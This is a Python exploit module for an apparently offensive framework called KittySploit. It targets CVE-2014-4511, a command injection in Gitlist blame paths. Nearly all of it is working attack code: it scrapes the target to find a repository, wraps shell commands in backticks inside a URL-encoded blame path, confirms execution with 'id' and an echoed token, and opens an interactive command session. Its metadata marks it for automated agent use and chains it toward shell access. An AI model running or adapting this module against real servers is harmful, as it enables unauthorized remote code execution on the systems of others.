Gitlist blame RCE (CVE-2014-4511)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Gitlist blame path command injection RCE (CVE-2014-4511) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Gitlist blame RCE (CVE-2014-4511)',
        'description': (
            'Exploits CVE-2014-4511 command injection in Gitlist blame paths via '
            'backtick-wrapped shell metacharacters. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-4511'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-4511',
        ],
        'tags': ['gitlist', 'git', 'rce', 'cmdi', 'unauth', 'cve-2014-4511'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'blame path injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_4511_detect'],
            },
        },
    }

    base_path = OptString('', 'Gitlist base path', False, advanced=True)
    repo = OptString('', 'Repository path (auto-discover if empty)', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['', '/gitlist', '/git']

    def _discover_repo(self) -> str | None:
        if self.repo:
            repo = str(self.repo)
            return repo if repo.endswith('/') else repo + '/'
        for base in self._bases():
            idx = self.http_request(method='GET', path=f'{base}/', allow_redirects=False)
            if not idx:
                continue
            body = idx.text or ''
            m = re.search(
                r'class="icon-folder-open icon-spaced"></i>\s*<a href="([^"]+)">',
                body,
            )
            if m:
                repo = m.group(1)
                if not repo.endswith('/'):
                    repo += '/'
                self._hit_base = base
                self._repo = repo
                return repo
        return None

    def execute(self, cmd: str) -> str:
        repo = getattr(self, '_repo', None) or self._discover_repo()
        if not repo:
            return ''
        inj = quote(f'""</`{cmd}`', safe='')
        base = getattr(self, '_hit_base', '') or ''
        path = f'{base}{repo}blame/master/{inj}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2014-4511 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Gitlist blame injection did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._repo = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()